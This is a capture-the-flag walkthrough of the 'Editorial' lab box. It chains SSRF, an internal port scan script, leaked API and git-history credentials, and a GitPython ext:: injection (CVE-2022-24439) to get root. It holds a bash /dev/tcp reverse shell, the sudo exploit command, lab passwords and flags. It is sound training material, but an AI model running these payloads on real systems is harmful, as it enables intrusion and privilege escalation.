Introduction
Editorial is an easy Linux machine built around a publishing web application with a Server-Side Request Forgery (SSRF) vulnerability. That single bug cascades into full root access across four clean steps - it’s an excellent box for learning how SSRF can expose internal services and how to chain small findings together into a complete compromise. The path to root:
- Enumeration → Nmap finds port 80 (Nginx) and port 22 (SSH). The site has a “Publish with us” form with a Cover URL field
- SSRF discovery → the Cover URL field fetches URLs server-side. Pointing it at our Netcat listener confirms the server makes outbound HTTP requests
- Internal port scan via SSRF → a Python script fuzzes
127.0.0.1:1-65535. Port5000returns JSON instead of a.jpeg- an internal API - API enumeration → the
/api/latest/metadata/messages/authorsendpoint leaks SSH credentials for thedevuser → user flag - Git enumeration →
dev’s home directory contains a.gitrepo.git log+git showon a suspicious commit reveals credentials for theproduser - CVE-2022-24439 (GitPython RCE) →
prodcan run a Python script as root via sudo. The script callsRepo.clone_from()without sanitising input. Theext::URL handler passes our argument directly tosh→ root shell → root flag
Key Concepts
What is Server-Side Request Forgery (SSRF)? SSRF happens when a web application fetches a URL on your behalf - and you can control that URL. Instead of pointing it at a legitimate resource, you point it at internal infrastructure (like http://127.0.0.1:5000) that the server can reach but you normally can’t. The server makes the request and returns the response, effectively acting as a proxy into its own internal network.
Why is an internal API dangerous? Internal APIs are often written without authentication because they’re assumed to be unreachable from the outside. Once SSRF exposes them, you’re interacting with them directly - including any endpoints that return sensitive data like credentials.
What is git log and git show? git log lists every commit ever made to a repository, including the author, timestamp, and message. git show <hash> displays the full diff for that commit - every line added and removed. Developers sometimes accidentally commit credentials, API keys, or config files. Even if those files are later deleted, the commit history preserves them forever.
What is CVE-2022-24439? A Remote Code Execution vulnerability in the GitPython library (the Python git module). The Repo.clone_from() function accepts a URL to clone from. If protocol.ext.allow=always is set, GitPython allows the ext:: URL scheme, which passes the URL argument directly to the shell as a command. Since the script runs with sudo, our command runs as root.
What is sudo -l? sudo -l lists the commands a user is allowed to run as another user (usually root) without a full password. It’s one of the first things to check after gaining a shell - a misconfigured sudo entry is one of the most common privilege escalation paths on Linux.
Enumeration
Nmap
ports=$(nmap -Pn -p- --min-rate=1000 -T4 <TARGET> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV <TARGET>
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH - OpenSSH 8.9p1 | Used later for foothold |
| 80 | HTTP - Nginx 1.18.0 | Redirects to editorial.htb |
Only two ports. Add the hostname to your hosts file:
echo "<TARGET> editorial.htb" | sudo tee -a /etc/hosts
HTTP: Exploring the Web Application
Visiting http://editorial.htb shows a publishing company website. The navigation bar has a “Publish with us” page. That form has several fields, and crucially - a Cover URL field that lets authors link to their book cover image.
This field is the attack surface. The server fetches whatever URL you give it to generate a preview. That’s the SSRF vector.
Confirming SSRF
Start a Netcat listener on your machine:
nc -lnvp 5555
In the Cover URL field, enter your IP and the listening port:
http://<YOUR_IP>:5555
Send the request via Burp Repeater (or just click Preview in the browser). Two things happen:
- The application returns
200 OK - Your Netcat listener receives a callback:
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET>] 59540
GET / HTTP/1.1
Host: <YOUR_IP>:5555
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Note the User-Agent:
python-requests/2.25.1- the backend is making HTTP requests using Python’srequestslibrary. This detail tells you what you’re working with internally.
The server is making outbound HTTP requests based on user input. SSRF confirmed.
Internal Port Scanning via SSRF
Now that we control what the server fetches, we point it at 127.0.0.1 with different ports to discover internal services.
Key observation: When we point the URL at http://127.0.0.1:80, the server returns a path ending in .jpeg (a static image). That’s the baseline. Any port running a different kind of service will return something that doesn’t end in .jpeg.
Using Burp Suite Intruder (free tier) is slow, so write a Python script instead:
#!/usr/bin/python3
import requests
# Create an empty placeholder file for the bookfile upload field
with open("a", 'wb') as f:
f.write(b'')
for port in range(1, 65535):
with open("a", 'rb') as file:
data_post = {"bookurl": f"http://127.0.0.1:{port}"}
data_file = {"bookfile": file}
try:
r = requests.post(
"http://editorial.htb/upload-cover",
files=data_file,
data=data_post
)
# If the response doesn't end in .jpeg, it's interesting
if not r.text.strip().endswith('.jpeg'):
print(f"{port} --- {r.text}")
except requests.RequestException as e:
print(f"Error on port {port}: {e}")
Run it:
python3 ssrf_scan.py
Output:
5000 --- static/uploads/85389d97-3812-4851-b49e-1f843f356e45
Port 5000 returns a file path instead of a .jpeg. There’s something running internally on port 5000.
API Enumeration: Finding Credentials
Step 1: Retrieve the API response
Go back to the web form and set the Cover URL to:
http://127.0.0.1:5000
Click Preview. Right-click the generated “image” thumbnail → Open image in new tab. A file downloads. Check what it is:
file <downloaded_filename>
# <filename>: JSON text data
View it with jq for clean formatting:
cat <downloaded_filename> | jq
The JSON describes an internal API with several endpoints:
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
]
}
The new_authors endpoint sounds interesting - it sends welcome messages to new authors. Welcome messages often include credentials.
Step 2: Query the authors endpoint
Set the Cover URL to:
http://127.0.0.1:5000/api/latest/metadata/messages/authors
Again, open the downloaded file:
curl http://editorial.htb/static/uploads/<new_filename> | jq
{
"template_mail_message": "Welcome to the team! ... \n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\n..."
}
Credentials found:
| Field | Value |
|---|---|
| Username | dev |
| Password | dev080217_devAPI!@ |
Step 3: SSH in and grab the user flag
ssh dev@<TARGET>
# Password: dev080217_devAPI!@
dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)
dev@editorial:~$ cat user.txt
c8a990f2e0d936ec96c3fa680e3e91a8
Lateral Movement: Git History Reveals prod Credentials
Look at dev’s home directory:
dev@editorial:~$ ls
apps user.txt
Check the apps folder:
dev@editorial:~/apps$ ls -la
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git
There’s a hidden .git directory - this is a Git repository. Always enumerate Git history; developers frequently commit credentials by mistake and never remove them from the history.
Check the commit log
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
change(api): downgrading prod to dev
commit 1e84a036b2f33c59e2390730699a488c65643d28
feat: create api to editorial info
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
feat: create editorial app
The commit “change(api): downgrading prod to dev” stands out - it suggests the developer swapped production credentials for development ones. The old (production) credentials would be visible in the diff.
Inspect the suspicious commit
dev@editorial:~/apps$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
In the diff, you’ll see two versions of template_mail_message. The removed line (prefixed with -) is the old production version:
- 'template_mail_message': "... Username: prod\nPassword: 080217_Producti0n_2023!@ ..."
+ 'template_mail_message': "... Username: dev\nPassword: dev080217_devAPI!@ ..."
prod credentials found:
| Field | Value |
|---|---|
| Username | prod |
| Password | 080217_Producti0n_2023!@ |
Switch to prod
dev@editorial:~/apps$ su prod
Password: 080217_Producti0n_2023!@
prod@editorial:/home/dev/apps$
Privilege Escalation: CVE-2022-24439 (GitPython RCE)
Check sudo permissions
prod@editorial:~$ sudo -l
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod can run a specific Python script as root. The * at the end means we can pass any arguments we want.
Read the script
cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
The script takes a URL from sys.argv[1] and passes it directly to Repo.clone_from() from the GitPython library - with protocol.ext.allow=always set.
Why is
protocol.ext.allow=alwaysdangerous? Git supports a URL scheme calledext::that lets Git hand off a URL to an external program for transport. Normally this is disabled for security. Withallow=always, it’s enabled - and our input goes straight to the shell.
This is CVE-2022-24439. The fix is input validation, which this script has none of.
Build the exploit
Create a reverse shell script on the target:
echo "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1" > /tmp/shell.sh
chmod +x /tmp/shell.sh
Start a Netcat listener on your machine:
nc -lnvp 4444
Trigger the exploit
The ext:: URL scheme works like this:
ext::sh -c <command>- passes the command toshfor execution- Spaces in the command must be URL-encoded as
%20
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
'ext::sh -c bash%20/tmp/shell.sh'
Breaking down the payload:
ext::- tells GitPython to use an external command as the transportsh -c bash%20/tmp/shell.sh- runs our reverse shell script viash%20- URL-encoded space (required because spaces break argument parsing)
Check your Netcat listener:
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET>] 35412
root@editorial:/opt/internal_apps/clone_changes# id
uid=0(root) gid=0(root) groups=0(root)
Grab the root flag
root@editorial:/opt/internal_apps/clone_changes# cat /root/root.txt
3f62347f6602b5b9cfda0c5623c810c6
Summary
nmap → port 22 (SSH), port 80 (Nginx → editorial.htb)
↓
"Publish with us" form → Cover URL field fetches URLs server-side
↓
nc -lnvp 5555 → Cover URL = http://<YOUR_IP>:5555 → callback received → SSRF confirmed
↓
Python SSRF scanner → http://127.0.0.1:1-65535 → port 5000 returns JSON (not .jpeg)
↓
Cover URL = http://127.0.0.1:5000 → internal API discovered
↓
/api/latest/metadata/messages/authors → JSON response leaks:
dev : dev080217_devAPI!@
↓
ssh dev@<TARGET> → USER FLAG
↓
~/apps → hidden .git directory
git log → suspicious commit "change(api): downgrading prod to dev"
git show b73481bb → diff reveals:
prod : 080217_Producti0n_2023!@
↓
su prod → sudo -l → can run clone_prod_change.py as root
↓
cat clone_prod_change.py → Repo.clone_from(argv[1]) + protocol.ext.allow=always
→ CVE-2022-24439 (GitPython ext:: RCE)
↓
echo "bash -i >& /dev/tcp/<IP>/4444 0>&1" > /tmp/shell.sh
sudo python3 clone_prod_change.py 'ext::sh -c bash%20/tmp/shell.sh'
↓
root@editorial → ROOT FLAG
Tools Used
| Tool | What it does | How to get it |
|---|---|---|
| nmap | Network port scanner - identifies open ports and services | Pre-installed on Kali |
| Burp Suite | HTTP proxy and repeater - intercepts and replays web requests | Pre-installed on Kali |
netcat (nc) | Raw TCP listener - confirms SSRF callbacks | Pre-installed on Kali |
Python requests | HTTP library used in the SSRF port scanner script | pip install requests |
jq | Pretty-prints and parses JSON output in the terminal | sudo apt install jq |
curl | Fetches files from URLs - used to retrieve API responses | Pre-installed on Kali |
git log | Lists commit history of a Git repository | Pre-installed on Kali |
git show | Displays the full diff of a specific commit | Pre-installed on Kali |
ssh | Connects to remote systems over SSH | Pre-installed on Kali |
su | Switches to another user account on Linux | Pre-installed on Kali |
sudo | Runs commands with elevated privileges | Pre-installed on Kali |